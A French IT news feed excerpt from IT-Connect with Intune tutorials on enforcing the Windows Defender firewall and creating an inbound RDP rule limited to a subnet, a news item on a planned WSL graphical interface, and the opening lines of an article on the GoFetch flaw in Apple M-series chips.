<figure class="wp-block-image size-large"><img decoding="async" width="800" height="383" src="media/acf63e04.rosoft-Intune-Strategie-securite-Pare-feu-Windows-07-800x383.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-07-800x383.png" alt="Microsoft Intune - Stratégie sécurité - Pare-feu Windows - 07" class="wp-image-73207" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-07-800x383.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-07-550x264.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-07-150x72.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-07-768x368.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-07-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-07.png 1008w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Suivez l'assistant jusqu'à la création de la stratégie.</p>



<p>A la fin, celle-ci apparaît bien dans Intune :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="247" src="media/2ea7eb1a.Microsoft-Intune-Strategie-securite-Pare-feu-Windows-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-08.png" alt="Microsoft Intune - Stratégie sécurité - Pare-feu Windows - 08" class="wp-image-73206" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-08.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-08-550x170.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-08-150x46.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-08-768x237.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-08-50x15.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Désormais, nous allons tester cette stratégie sur un appareil Windows 11.</p>



<h2 class="wp-block-heading">III. Tester sur un appareil Windows</h2>



<p>Une fois la stratégie appliquée sur la machine Windows (soit après une synchronisation Intune), les paramètres de Windows Defender sont bien ceux définis dans la stratégie. </p>



<p>Dans les paramètres "<strong>Sécurité Windows</strong>", nous pouvons <strong>visualiser l'état du pare-feu</strong> : celui-ci est désormais activé et le paramètre est grisé. C'est particulièrement utile, car sur l'un de mes appareils, qui était dans un état "non conforme" vis-à-vis de la politique de conformité qui l'affecte, car il avait le pare-feu désactivé, tout est rentré dans l'ordre désormais ! Nous aborderons le sujet des politiques de conformité dans un prochain article.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="493" src="media/5faff416.Pare-feu-Windows-active-par-Intune.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Pare-feu-Windows-active-par-Intune.jpg" alt="Pare-feu Windows activé par Intune" class="wp-image-73214" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Pare-feu-Windows-active-par-Intune.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Pare-feu-Windows-active-par-Intune-550x339.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Pare-feu-Windows-active-par-Intune-150x92.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Pare-feu-Windows-active-par-Intune-768x473.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Pare-feu-Windows-active-par-Intune-50x31.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<blockquote class="wp-block-quote">
<p><strong>Remarque </strong>: à partir du Panneau de configuration classique, il est toujours possible de désactiver le pare-feu, mais ceci n'a aucun impact. Le pare-feu ne se désactive pas, rassurez-vous.</p>
</blockquote>



<p>Par ailleurs, si nous ouvrons les paramètres de configurations avancés du pare-feu Windows Defender, que nous cliquons sur "<strong>Propriétés du pare-feu Windows Defender</strong>" (1), nous pouvons voir que <strong>les connexions entrantes et sortantes</strong> (2) sont gérées comme nous l'avons définis dans la stratégie.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="516" src="media/13b461c0.arametres-du-pare-feu-Windows-configure-par-strategie-Intune.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Parametres-du-pare-feu-Windows-configure-par-strategie-Intune.jpg" alt="Paramètres du pare-feu Windows configuré par stratégie Intune" class="wp-image-73216" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Parametres-du-pare-feu-Windows-configure-par-strategie-Intune.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Parametres-du-pare-feu-Windows-configure-par-strategie-Intune-550x355.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Parametres-du-pare-feu-Windows-configure-par-strategie-Intune-150x97.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Parametres-du-pare-feu-Windows-configure-par-strategie-Intune-768x495.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Parametres-du-pare-feu-Windows-configure-par-strategie-Intune-50x32.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Notre stratégie de pare-feu Windows Defender est opérationnelle !</p>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p>Très rapide à mettre en place, <strong>cette stratégie de pare-feu Windows Defender</strong> permet de s'assurer que le pare-feu du système Windows est actif et configuré de façon homogène sur un ensemble d'appareils Windows.</p>



<p>Pour finir, sachez que vous pouvez obtenir la liste de tous les appareils Windows où le pare-feu est désactivé à partir de cette section de l'interface Intune :</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="362" src="media/5103273d.Intune-Appareils-Windows-avec-le-pare-feu-desactive-800x362.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Appareils-Windows-avec-le-pare-feu-desactive-800x362.png" alt="Intune - Appareils Windows avec le pare-feu désactivé" class="wp-image-73289" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Appareils-Windows-avec-le-pare-feu-desactive-800x362.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Appareils-Windows-avec-le-pare-feu-desactive-550x249.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Appareils-Windows-avec-le-pare-feu-desactive-150x68.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Appareils-Windows-avec-le-pare-feu-desactive-768x348.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Appareils-Windows-avec-le-pare-feu-desactive-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Appareils-Windows-avec-le-pare-feu-desactive.png 853w" sizes="(max-width: 800px) 100vw, 800px" /></figure><p>The post <a href="https://www.it-connect.fr/intune-comment-configurer-le-pare-feu-windows/">Intune – Comment configurer le pare-feu Windows ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73218
title: Intune – Comment créer une règle de pare-feu Windows Defender ?
uri: Intune-Comment-créer-une-règle-de-pare-feu-Windows-Defender
url: https://www.it-connect.fr/intune-comment-creer-regle-pare-feu-windows-defender/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à créer une règle de pare-feu Windows Defender à l'aide d'une stratégie de sécurité Intune. </strong>Cette stratégie à destination des appareils Windows va permettre de <strong>déployer une ou plusieurs règles de pare-feu</strong> afin d'avoir des règles homogènes et d'autoriser les flux dont nous avons besoin.</p>



<p>En entreprise, et bien que ce soit à utiliser avec parcimonie, il est fréquent d'avoir besoin de créer des règles de pare-feu pour autoriser un ou plusieurs flux entrants sur les machines. Par exemple, pour autoriser les connexions RDP (Bureau à distance), l'administration à distance PowerShell via WinRM, etc... Veillez à limiter les autorisations accordées à ces règles :<strong> limiter à un sous-réseau source</strong> est une bonne idée.</p>



<p>Dans cet exemple, nous allons simplement créer une règle de pare-feu pour autoriser les connexions entrantes sur le <strong>port 3389 </strong>(RDP) <strong>à partir du sous-réseau 192.168.145.0/24</strong>.</p>



<ul>
<li><a href="https://youtu.be/W_BXMSEPpYU" target="_blank" rel="noopener nofollow" title="">Cliquez ici pour regarder la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/W_BXMSEPpYU" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>En complément de cet article, voici deux liens utiles pour la gestion du pare-feu Windows Defender via Intune :</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/firewall-csp?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Firewall CSP</a></li>



<li><a href="https://learn.microsoft.com/en-us/mem/intune/protect/endpoint-security-firewall-policy?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Firewall policy for endpoint security in Intune</a></li>
</ul>



<p>Ainsi que ces tutoriels :</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-debuter-avec-microsoft-intune/" target="_blank" rel="noopener" title="Comment débuter avec Microsoft Intune ?">Comment débuter avec Intune ?</a></li>



<li>Comment gérer le pare-feu Windows Defender avec Intune ?</li>
</ul>



<h2 class="wp-block-heading">II. Créer une règle de pare-feu Windows avec Intune</h2>



<p>Tout d'abord, connectez-vous au portail d'administration Microsoft Intune. Si besoin, voici le lien direct :</p>



<ul>
<li><a href="https://intune.microsoft.com" target="_blank" rel="noopener nofollow" title="">intune.microsoft.com</a></li>
</ul>



<p>Quand vous y êtes : </p>



<p><strong>1</strong> - Cliquez sur "<strong>Sécurité du point de terminaison</strong>" à gauche</p>



<p><strong>2</strong> - Cliquez sur "<strong>Pare-feu</strong>" dans le menu de la section sécurité</p>



<p><strong>3</strong> - Cliquez sur le bouton "<strong>Créer une stratégie</strong>"</p>



<p><strong>4</strong> - Choisissez la plateforme "<strong>Windows 10, Windows 11 et Windows Server</strong>" pour la gestion directe via Intune</p>



<p><strong>5</strong> - Sélectionnez le profil "<strong>Règles de pare-feu Microsoft Defender</strong>" qui est dédié à la création de règles de pare-feu. Le profil "<strong>Pare-feu Microsoft Defender</strong>" sert à configurer les paramètres généraux (état du pare-feu, audit, taille des journaux, etc.). Cliquez sur "<strong>Créer</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="300" src="media/b3b51e39.Intune-Creer-regle-pare-feu-Windows-Defender-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-01.png" alt="Intune - Créer règle pare-feu Windows Defender - 01" class="wp-image-73227" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-01.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-01-550x206.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-01-150x56.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-01-768x288.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-01-50x19.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Commencez par nommer cette stratégie, par exemple "<strong>Autoriser la connexion RDP depuis réseau local</strong>". Passez à l'étape suivante.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="799" height="349" src="media/6c558c8c.Intune-Creer-regle-pare-feu-Windows-Defender-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-02.png" alt="" class="wp-image-73226" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-02.png 799w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-02-550x240.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-02-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-02-768x335.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-02-50x22.png 50w" sizes="(max-width: 799px) 100vw, 799px" /></figure>



<p>Ici, vous devez définir l'ensemble des règles à déployer sur les appareils Windows. Nous allons surtout nous intéresser à la colonne "<strong>Propriétés de la règle</strong>". Nous pouvons personnaliser chaque règle en cliquant sur le bouton "<strong>Modifier la règle</strong>". Le bouton "<strong>Ajouter</strong>" quant à lui sert à ajouter une règle supplémentaire à la liste.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="400" src="media/00ff2a06.Intune-Creer-regle-pare-feu-Windows-Defender-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-03.png" alt="" class="wp-image-73225" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-03.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-03-550x275.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-03-150x75.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-03-768x384.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-03-50x25.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Globalement, nous retrouvons les mêmes paramètres que la configuration de règles en local sur une machine ou à partir d'une GPO, mais c'est présenté totalement différemment (<em>et ce n'est pas forcément super pratique, en fait...</em>).</p>



<p>Nous allons commencer par configurer ces trois paramètres :</p>



<ul>
<li><strong>Activé : activé</strong> (oui c'est bizarre, mais c'est écrit de cette façon)</li>



<li><strong>Nom</strong> : le nom de la règle tel qu'il sera visible dans les paramètres de Windows</li>



<li><strong>Types d'interface : Tout</strong>, pour appliquer la règle à toutes les interfaces de Windows (sinon on peut faire une sélection uniquement pour le LAN, pour le sans-fil, etc.)</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="520" height="346" src="media/abccdfd6.Intune-Creer-regle-pare-feu-Windows-Defender-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-04.png" alt="" class="wp-image-73224" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-04.png 520w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-04-150x100.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-04-50x33.png 50w" sizes="(max-width: 520px) 100vw, 520px" /></figure>



<p>Un peu plus bas, configurez également ces paramètres :</p>



<ul>
<li><strong>Direction : la règle s'applique au trafic entrant</strong>, car nous souhaitons que nos appareils acceptent les connexions RDP entrantes.</li>



<li><strong>Plages de ports locaux : 3389</strong>, pour autoriser les flux entrants sur le port 3389. Vous pouvez définir plusieurs ports, ou des plages de ports (<em>port de début - port de fin</em>), selon vos besoins.</li>



<li><strong>Plages d'adresses distantes : 192.168.145.0/24</strong>, pour indiquer qu'il n'y a que les machines connectées sur ce segment réseau qui pourront se connecter en RDP. Là encore, nous pouvons définir plusieurs valeurs.</li>



<li><strong>Action : autoriser</strong>, pour que ce flux soit autorisé, car par défaut nous refusons tous les flux (en principe !).</li>
</ul>



<p>Cliquez sur "<strong>Enregistrer</strong>" pour valider cette règle. Sachez qu'elle pourra être modifiée à tout moment.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="523" height="570" src="media/143c262c.Intune-Creer-regle-pare-feu-Windows-Defender-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-05.png" alt="" class="wp-image-73223" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-05.png 523w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-05-138x150.png 138w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-05-46x50.png 46w" sizes="(max-width: 523px) 100vw, 523px" /></figure>



<p>Configurez l'étape "<strong>Balises d'étendue</strong>" si besoin, sinon passez.</p>



<p>A l'étape "<strong>Affectations</strong>", sélectionnez le ou les groupes sur lesquels appliquer cette stratégie. Pour ma part, ce sera le groupe statique "<em>PC_Corporate</em>".</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="381" src="media/c6325f51.Intune-Creer-regle-pare-feu-Windows-Defender-06-800x381.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-06-800x381.png" alt="" class="wp-image-73222" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-06-800x381.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-06-550x262.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-06-150x72.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-06-768x366.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-06-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-06.png 1015w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Poursuivez jusqu'à la fin et créez la stratégie...</p>



<p>En résumé, voici le contenu de la règle définie dans la stratégie :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="676" height="609" src="media/0324feaf.Intune-Creer-regle-pare-feu-Windows-Defender-07.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-07.png" alt="" class="wp-image-73221" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-07.png 676w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-07-550x495.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-07-150x135.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-07-50x45.png 50w" sizes="(max-width: 676px) 100vw, 676px" /></figure>



<p>Passons aux tests sur un appareil Windows 11 !</p>



<h2 class="wp-block-heading">III. Tester la stratégie</h2>



<p>Après avoir synchronisé la machine Windows 11 membre du groupe "<em>PC_Corporate</em>", celle-ci a bien récupérée la règle de pare-feu. A partir de la console "<strong>Pare-feu Windows Defender avec fonctions avancées de sécurité</strong>", nous pouvons retrouver notre règle sous la partie "<strong>Analyse</strong>" puis "<strong>Pare-feu</strong>". La règle présente ici est bien effective : les règles dans cette partie sont celles "<em>en production</em>". Par contre, <strong>ce qui est perturbant</strong>, c'est que la règle ne soit pas visible également dans "<strong>Règles de trafic entrant</strong>" (ou "<strong>Règles de trafic sortant</strong>", selon la configuration).</p>



<p>Pour accéder à cette console sous Windows 11 : <strong>Sécurité Windows &gt; Pare-feu et protection du réseau &gt; Paramètres avancés</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="672" src="media/28b5c15c.Intune-Creer-regle-pare-feu-Windows-Defender-09.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-09.png" alt="Règle de pare-feu Windows créée avec Intune" class="wp-image-73219" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-09.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-09-550x462.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-09-150x126.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-09-768x645.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-09-50x42.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>À partir d'une machine connectée au réseau 192.168.145.0/24, je suis parvenu à me connecter à cet appareil Windows 11 ! Ceci nécessite d'activer les connexions Bureau à distance sur cet appareil</p>



<p>Si votre règle n'apparaît nulle part, vérifiez les journaux Windows. Regardez plus particulièrement le journal "<strong>Admin</strong>" mis en évidence sur l'image ci-dessous. <strong>Si la règle est mal configurée, avec une valeur mal formatée, par exemple, ce sera mis en évidence. </strong>Dans cet exemple, j'ai eu une erreur surprenante sur le numéro de port, car le paramètre était correctement configuré : j'ai supprimé la valeur, je l'ai saisie de nouveau, et c'est passé.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="320" src="media/d0616af4.Intune-Creer-regle-pare-feu-Windows-Defender-08-800x320.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-08-800x320.png" alt="Erreur firewall règle créée avec Intune pour Windows" class="wp-image-73220" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-08-800x320.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-08-550x220.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-08-150x60.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-08-768x307.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-08-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Intune-Creer-regle-pare-feu-Windows-Defender-08.png 1256w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p><strong>En suivant ce tutoriel, vous êtes en mesure de gérer les règles de pare-feu de vos appareils Windows 10 et Windows 11 à partir de stratégies Intune !</strong></p><p>The post <a href="https://www.it-connect.fr/intune-comment-creer-regle-pare-feu-windows-defender/">Intune – Comment créer une règle de pare-feu Windows Defender ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78402
title: Microsoft prépare une interface graphique pour gérer les distributions Linux sous Windows (WSL)
uri: Microsoft-prépare-une-interface-graphique-pour-gérer-les-distributio
url: https://www.it-connect.fr/interface-graphique-gerer-distributions-linux-sous-windows-wsl/
content:
<p><strong>Vous utilisez Linux sur Windows à l'aide de la fonctionnalité Windows Subsystem for Linux ? Sachez que Microsoft devrait vous permettre de gérer vos distributions Linux à partir de l'interface graphique. Faisons le point sur cette nouveauté à venir.</strong></p>



<p>Les utilisateurs de <strong>Windows 10</strong> et <strong>Windows 11</strong> peuvent utiliser Linux depuis leur système d'exploitation principal à l'aide de la fonctionnalité Windows Subsystem for Linux, dont la version 2 s'appuie sur Hyper-V pour permettre l'utilisation d'un véritable noyau Linux. Ceci permet aux utilisateurs de pouvoir utiliser Ubuntu, Debian, etc... Directement depuis Windows.</p>



<p>Voici d'ailleurs quelques tutoriels sur le sujet :</p>



<ul>
<li><a href="https://www.it-connect.fr/installer-wsl-2-sur-windows-10/" target="_blank" rel="noopener" title="">Installer WSL 2 sur Windows 10</a></li>



<li><a href="https://www.it-connect.fr/10-commandes-pour-maitriser-wsl-sous-windows-10/" target="_blank" rel="noopener" title="">10 commandes pour maîtriser WSL sur Windows</a></li>



<li><a href="https://www.it-connect.fr/utilisation-de-wsl-2-et-docker-pour-executer-des-containers-linux-sur-windows/" target="_blank" rel="noopener" title="">Docker : exécuter un container Linux sous Windows avec WSL 2</a></li>
</ul>



<p>Actuellement, la configuration et la gestion de Windows Subsystem for Linux s'effectue à partir de la ligne de commande, via l'exécutable "wsl.exe". Par exemple, la commande ci-dessous sert à obtenir la liste des distributions Linux actuellement installées.</p>



<pre class="wp-block-code"><code>wsl --list</code></pre>



<p>À en croire <a href="https://github.com/microsoft/devhome/issues/2266" target="_blank" rel="noopener nofollow" title="">une suggestion pour WSL apparue sur le GitHub de Microsoft,</a> les développeurs souhaiteraient ajouter à Windows une interface graphique permettant de gérer les distributions Linux installées dans le cadre de la fonction WSL. Sur GitHub, l'entreprise américaine a demandé<strong> des idées sur l'utilisation de Dev Home pour gérer toutes les distributions Linux installées</strong>. </p>



<p>Une copie d'écran a même été ajoutée. Sur cette image, nous pouvons<strong> voir plusieurs options</strong>, dont la possibilité de lancer, démarrer, <strong>d'ajouter ou de désinstaller une distribution Linux</strong>, mais aussi de<strong> déplacer la distribution Linux vers un autre emplacement</strong>. Autres informations intéressantes :<strong> la quantité de RAM et de CPU</strong> consommée par Windows Subsystem for Linux. Par ailleurs, ceci devrait permettre de lancer une distribution Linux en tant que l'utilisateur de son choix ("<em>as a specific user</em>").</p>



<figure class="wp-block-image size-large"><a href="media/d4d06b2d.Interface-graphique-WSL-pour-Windows.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Interface-graphique-WSL-pour-Windows.jpg"><img fetchpriority="high" decoding="async" width="800" height="618" src="media/7a952e2e.Interface-graphique-WSL-pour-Windows-800x618.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Interface-graphique-WSL-pour-Windows-800x618.jpg" alt="Interface graphique WSL pour Windows" class="wp-image-78403" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Interface-graphique-WSL-pour-Windows-800x618.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Interface-graphique-WSL-pour-Windows-550x425.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Interface-graphique-WSL-pour-Windows-150x116.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Interface-graphique-WSL-pour-Windows-768x594.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Interface-graphique-WSL-pour-Windows-50x39.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Interface-graphique-WSL-pour-Windows.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Cette nouveauté permettrait aux utilisateurs d'avoir plus facilement <strong>une vue d'ensemble sur les distributions Linux installées</strong>, et ceci pourrait aussi faciliter leur gestion. <strong>De quoi rendre WSL plus accessible ? Probablement.</strong> En tout cas, cette nouvelle interface pourrait être intégrée directement à <a href="https://learn.microsoft.com/fr-fr/windows/dev-home/" target="_blank" rel="noopener nofollow" title="">l'application Dev Home</a> destinée aux développeurs... Quoi qu'il en soit, cette interface graphique manque actuellement à WSL...</p>



<p><a href="https://www.windowslatest.com/2024/03/24/microsoft-will-let-you-manage-linux-distros-on-windows-11-through-gui/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/interface-graphique-gerer-distributions-linux-sous-windows-wsl/">Microsoft prépare une interface graphique pour gérer les distributions Linux sous Windows (WSL)</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78413
title: La faille matérielle GoFetch affecte les puces Apple M1, M2 et M3 et ne peut pas être corrigée !
uri: La-faille-matérielle-GoFetch-affecte-les-puces-Apple-M1-M2-et-M3-et
url: https://www.it-connect.fr/faille-securite-materielle-gofetch-affecte-les-puces-apple-m1-m2-m3/
content:
<p><strong>GoFetch, c'est le nom d'une attaque qui exploite une faille de sécurité importante découverte dans les puces Apple M1, M2 et M3 utilisées par les générations les plus récentes de Mac. La particularité de cette vulnérabilité : elle ne peut pas être corrigée, à moins d'impacter très fortement les performances des puces fabriquées par Apple. Faisons le point !</strong></p>



